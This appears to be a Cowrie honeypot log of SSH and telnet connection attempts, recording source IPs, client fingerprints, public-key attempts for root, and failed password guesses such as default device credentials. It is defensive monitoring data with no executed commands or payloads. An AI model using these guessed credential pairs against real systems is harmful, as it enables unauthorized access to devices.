{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:c1:64:3f:48:f6:7f:c0:49:9c:27:f0:c7:dc:02:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNQnTe2iJCr10I7ew/ycFrEBsz7V7TzCYG1iNl79DQcHDsbFdCoUHaPQYPGI2kVvoqMnbujBWOF7NK1KIrVC1+iRPXqAVCbJjubAo+oNUEM0wGTuKSkI93lARvra4oegyjr5vEIMC3/lt9v8bg9oJmXquWojscELb8MDO48lce7sf2Omdl0jk5BdVTj2RRg06mg7kta1oGpYVj/yUEAnd6iOGAMJ6LjuYpEHtnBbvWiDMxHPhjopQDXtz/5VbShRSUsXnjroZ+KetWIq22rSre7FLXM4dL0IGMFvU30olSjEdoLHrftIvskt2A9kR9koylA8Z1qnlZO9H/yMmGcJ3Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:c1:64:3f:48:f6:7f:c0:49:9c:27:f0:c7:dc:02:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.130511Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:c1:64:3f:48:f6:7f:c0:49:9c:27:f0:c7:dc:02:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNQnTe2iJCr10I7ew/ycFrEBsz7V7TzCYG1iNl79DQcHDsbFdCoUHaPQYPGI2kVvoqMnbujBWOF7NK1KIrVC1+iRPXqAVCbJjubAo+oNUEM0wGTuKSkI93lARvra4oegyjr5vEIMC3/lt9v8bg9oJmXquWojscELb8MDO48lce7sf2Omdl0jk5BdVTj2RRg06mg7kta1oGpYVj/yUEAnd6iOGAMJ6LjuYpEHtnBbvWiDMxHPhjopQDXtz/5VbShRSUsXnjroZ+KetWIq22rSre7FLXM4dL0IGMFvU30olSjEdoLHrftIvskt2A9kR9koylA8Z1qnlZO9H/yMmGcJ3Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.134724Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:97:9d:af:c1:0c:b7:9b:64:01:0c:d4:c4:cd:dd:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8vRx0hSV8ox9yt9VR93IhCPUeygpdIZmIJP/RQIN8bVwv1Q8twx8xR9eDwPb3x/eG7tVRDNn/lmMDSHVD+ejZebjWRFKkO65KZHG0MaTjdf5ZMsi3fdGSFjcFcbdtO61nMQoOO2tKPLP6jcjUkwdob9Y6mNxDHSXHMdic61dwp7SaPwxrl7a6loQwOFZ6JokXEpsuPwN2k2HpiT62i+41VCKo9sXfvK5fL/rXfK4Cpxt3hE1WhArV9AouxkidWBJ1FUiw8xHZiVFRMXNGGgZseC1mQ1uG3T9khPOxQtyJQUl/XI/dMmlPs4RZffG0/2/UYtGNrdNmqO8pCPBH+hQanTQHiTWUOot7dvmMDoPE8MG7c0DcuAIc6exVyNv3RCFDyJNxIw448DckmtGMYpHCKHi/6cU9XXYM7Oz3LbsbtRjaJsMmqpChlJ7chh81nHRSAnit1/jk5ucEbO+J8Xmr8Uty/0dpbUHGxTu17UnYeZBunBOVQhqcUwsnm2TptR+RZ4h+HFzZstNPY4lahW9VkJge3Z66ftFzrLh24JB7g5G9TiEkjB911VaSomm9uF1wOY+OT7jLZ45fe9jeEwlwqB1ZPeKaQcVLk+39bquRhu8GqPwLvkvVW+XKJgcM+92AmCQnTiASV1qnsbvIhdSDzVN3A9j8PJmyR83ulzPIQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:97:9d:af:c1:0c:b7:9b:64:01:0c:d4:c4:cd:dd:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.228431Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:97:9d:af:c1:0c:b7:9b:64:01:0c:d4:c4:cd:dd:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8vRx0hSV8ox9yt9VR93IhCPUeygpdIZmIJP/RQIN8bVwv1Q8twx8xR9eDwPb3x/eG7tVRDNn/lmMDSHVD+ejZebjWRFKkO65KZHG0MaTjdf5ZMsi3fdGSFjcFcbdtO61nMQoOO2tKPLP6jcjUkwdob9Y6mNxDHSXHMdic61dwp7SaPwxrl7a6loQwOFZ6JokXEpsuPwN2k2HpiT62i+41VCKo9sXfvK5fL/rXfK4Cpxt3hE1WhArV9AouxkidWBJ1FUiw8xHZiVFRMXNGGgZseC1mQ1uG3T9khPOxQtyJQUl/XI/dMmlPs4RZffG0/2/UYtGNrdNmqO8pCPBH+hQanTQHiTWUOot7dvmMDoPE8MG7c0DcuAIc6exVyNv3RCFDyJNxIw448DckmtGMYpHCKHi/6cU9XXYM7Oz3LbsbtRjaJsMmqpChlJ7chh81nHRSAnit1/jk5ucEbO+J8Xmr8Uty/0dpbUHGxTu17UnYeZBunBOVQhqcUwsnm2TptR+RZ4h+HFzZstNPY4lahW9VkJge3Z66ftFzrLh24JB7g5G9TiEkjB911VaSomm9uF1wOY+OT7jLZ45fe9jeEwlwqB1ZPeKaQcVLk+39bquRhu8GqPwLvkvVW+XKJgcM+92AmCQnTiASV1qnsbvIhdSDzVN3A9j8PJmyR83ulzPIQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.233099Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:e0:d6:31:6c:25:9f:d1:44:b8:12:60:9b:43:33:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVCvI6BjY3wADooJxoFtmXUOCuOZEIN7wnzc3Lwb/wxNh3QClf3dVZ6X7L4H6tYc+RAjtzZUXiEdGHpuyt5H7tkyhdNgnL2Zs72fTOwLNeqgOULS6qvoTOtlJttxDFdAalpf4OpUrRvok2aP+EMJtPcczY6XjnGQa+appme0KPl4KZ/roCAuCEvE35BVxc7dhCrXeVosXzIaYWXyWrd5BpiugoDEYmpNJtpMcmn1gFxpA3a3I9+v+e10YRTUtPbsfKpMcvkhmwT4iEfrJo2i8tjtAfve00KLlJv/A5TvQexPYK5rn0T//JasLfI5aH+yovEkFolaztYaCoZxVQfybR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:e0:d6:31:6c:25:9f:d1:44:b8:12:60:9b:43:33:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.329643Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:e0:d6:31:6c:25:9f:d1:44:b8:12:60:9b:43:33:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVCvI6BjY3wADooJxoFtmXUOCuOZEIN7wnzc3Lwb/wxNh3QClf3dVZ6X7L4H6tYc+RAjtzZUXiEdGHpuyt5H7tkyhdNgnL2Zs72fTOwLNeqgOULS6qvoTOtlJttxDFdAalpf4OpUrRvok2aP+EMJtPcczY6XjnGQa+appme0KPl4KZ/roCAuCEvE35BVxc7dhCrXeVosXzIaYWXyWrd5BpiugoDEYmpNJtpMcmn1gFxpA3a3I9+v+e10YRTUtPbsfKpMcvkhmwT4iEfrJo2i8tjtAfve00KLlJv/A5TvQexPYK5rn0T//JasLfI5aH+yovEkFolaztYaCoZxVQfybR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.333972Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:37:8c:95:75:43:d1:d5:3e:ce:6f:22:90:11:49:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXjYtFCf4tvdzEujxXeNssE9d5HfqezTjbGYvWHobndFzNY+KZQO+qL1y8kxZSiANN0TdzayHFlcnl+yqUuggrGyz7yL4QdoRGo6oW7TfO6YPN47X4qx+2mW+HHRaQ/SxFLniusz96jy1YynuiXKYiK0jhQXh21mMJurxRxM/J2g6HYqLm0ztWnECk8WaQ1UveZYLAPGT1GLSmBE6LXqQ/OMxoDPBJTnwSXyROXD0fk9BLqXD0LKjDa/X56iMY3Fe6FYq0rl0lMAgPXo6UOCfRhJgDkJO8oR8JnGaZV0hFC80kP1qxpKPcXrzDAOQyZaFV6S93VV+mT7s/C9dwmq/H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:37:8c:95:75:43:d1:d5:3e:ce:6f:22:90:11:49:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.425643Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:37:8c:95:75:43:d1:d5:3e:ce:6f:22:90:11:49:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXjYtFCf4tvdzEujxXeNssE9d5HfqezTjbGYvWHobndFzNY+KZQO+qL1y8kxZSiANN0TdzayHFlcnl+yqUuggrGyz7yL4QdoRGo6oW7TfO6YPN47X4qx+2mW+HHRaQ/SxFLniusz96jy1YynuiXKYiK0jhQXh21mMJurxRxM/J2g6HYqLm0ztWnECk8WaQ1UveZYLAPGT1GLSmBE6LXqQ/OMxoDPBJTnwSXyROXD0fk9BLqXD0LKjDa/X56iMY3Fe6FYq0rl0lMAgPXo6UOCfRhJgDkJO8oR8JnGaZV0hFC80kP1qxpKPcXrzDAOQyZaFV6S93VV+mT7s/C9dwmq/H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.430113Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.589429Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.54","src_port":39878,"dst_ip":"159.203.135.109","dst_port":22,"session":"37964c998c06","protocol":"ssh","message":"New connection: 27.79.44.54:39878 (159.203.135.109:22) [session: 37964c998c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:28.069731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:28.074833Z","src_ip":"27.79.44.54","session":"37964c998c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:28.366073Z","src_ip":"27.79.44.54","session":"37964c998c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:29.289890Z","src_ip":"27.79.44.54","session":"37964c998c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:30.562766Z","src_ip":"27.79.44.54","session":"37964c998c06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":26462,"dst_ip":"159.203.135.109","dst_port":22,"session":"f224ecd05747","protocol":"ssh","message":"New connection: 2.57.121.25:26462 (159.203.135.109:22) [session: f224ecd05747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:14.555506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:14.560579Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:14.666545Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121089","message":"login attempt [user/121089] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:15.161794Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12101981","message":"login attempt [user/12101981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:16.271589Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12071970","message":"login attempt [user/12071970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:17.392762Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12041961","message":"login attempt [user/12041961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:18.502031Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120388","message":"login attempt [user/120388] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:19.611601Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:20.720875Z","src_ip":"2.57.121.25","session":"f224ecd05747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.126","src_port":25596,"dst_ip":"10.17.0.5","dst_port":23,"session":"655b8cfefdf3","protocol":"telnet","message":"New connection: 66.132.195.126:25596 (10.17.0.5:23) [session: 655b8cfefdf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:27.064231Z"}
{"eventid":"cowrie.session.closed","duration":15.030094385147095,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:42.094229Z","src_ip":"66.132.195.126","session":"655b8cfefdf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.99","src_port":18252,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e5b6486f072","protocol":"telnet","message":"New connection: 66.132.172.99:18252 (10.17.0.5:23) [session: 2e5b6486f072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:44.493494Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.251.133.104","src_port":40198,"dst_ip":"10.17.0.5","dst_port":22,"session":"49de593b3f16","protocol":"ssh","message":"New connection: 186.251.133.104:40198 (10.17.0.5:22) [session: 49de593b3f16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:44.726238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:44.731651Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:44.858170Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.126","src_port":2530,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce6775dbf64","protocol":"telnet","message":"New connection: 66.132.195.126:2530 (10.17.0.5:23) [session: 6ce6775dbf64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.117220Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:0e:79:7c:ba:0d:50:54:00:6f:bb:8b:3d:d2:78:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD9oq/e3YGkkCbFpvkW6lTO+1xbDjlFzUayAnCub7N5LX7fJXhOFfHwBWo/pkDAX16RF9+zSQrVEnXmJTUefF9yMptc3OGOP1Xy23mnHaFuDSbC44rbKzoFxgqkohs9ovpq8SrO8LytRQyW256x0uAW3a16dbqarSqlFSMHYhWftdJJdiJmO+A8mBUHvRv56Sq/ODjTG0u3aI0IBuNMq5irKdatvlwuoX2RK92rChOjuOpgPbSuJTfyh/R9DlIsovmXnCbrZvH0RYGkwuHaNLZU6cCh4OyPRb8RB2mBXhsnImyBxV6gsWmJN2yEzPBVK7fGJLjjdcIpuRpijebOdjg5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:0e:79:7c:ba:0d:50:54:00:6f:bb:8b:3d:d2:78:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.429982Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:0e:79:7c:ba:0d:50:54:00:6f:bb:8b:3d:d2:78:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD9oq/e3YGkkCbFpvkW6lTO+1xbDjlFzUayAnCub7N5LX7fJXhOFfHwBWo/pkDAX16RF9+zSQrVEnXmJTUefF9yMptc3OGOP1Xy23mnHaFuDSbC44rbKzoFxgqkohs9ovpq8SrO8LytRQyW256x0uAW3a16dbqarSqlFSMHYhWftdJJdiJmO+A8mBUHvRv56Sq/ODjTG0u3aI0IBuNMq5irKdatvlwuoX2RK92rChOjuOpgPbSuJTfyh/R9DlIsovmXnCbrZvH0RYGkwuHaNLZU6cCh4OyPRb8RB2mBXhsnImyBxV6gsWmJN2yEzPBVK7fGJLjjdcIpuRpijebOdjg5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.433756Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:25:30:59:06:fd:9b:2c:4b:19:3c:23:50:05:99:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwWZG3bYxX2OtffOpgU9TrxmhrgnTl/IUeG8vLHVyhMgsDi2ybJHUrZ5N8b66QOKGvW7CBC0EN5yIpqNbR+wDiRc+Vwb2qiudoyciYb4Jin3FuMkpnoTSQHcz0QOGiiTT+z6bY13u5s6oRx9ZrnEHC9/y03NjwR/k4FpFQbOPOwWyrhPClwBsGqwIpFr55nYNEcvGDyQuV4ZZdKeb5QV25XMGldWmOvm0+vLHk0BPOEFNTeSsq6k2iK2L5OICu/zvk/zB3KksqWXuHGlF2dPs/veghlaIilLsT9QFE7rKganvtffukdV3tv2cr1oQKJcpag8WgSCuWjYFK1V7Ne1MJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:25:30:59:06:fd:9b:2c:4b:19:3c:23:50:05:99:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:31:45.558695Z","src_ip":"186.251.133.104","session":"49de593b3f16","protocol":"ssh"}
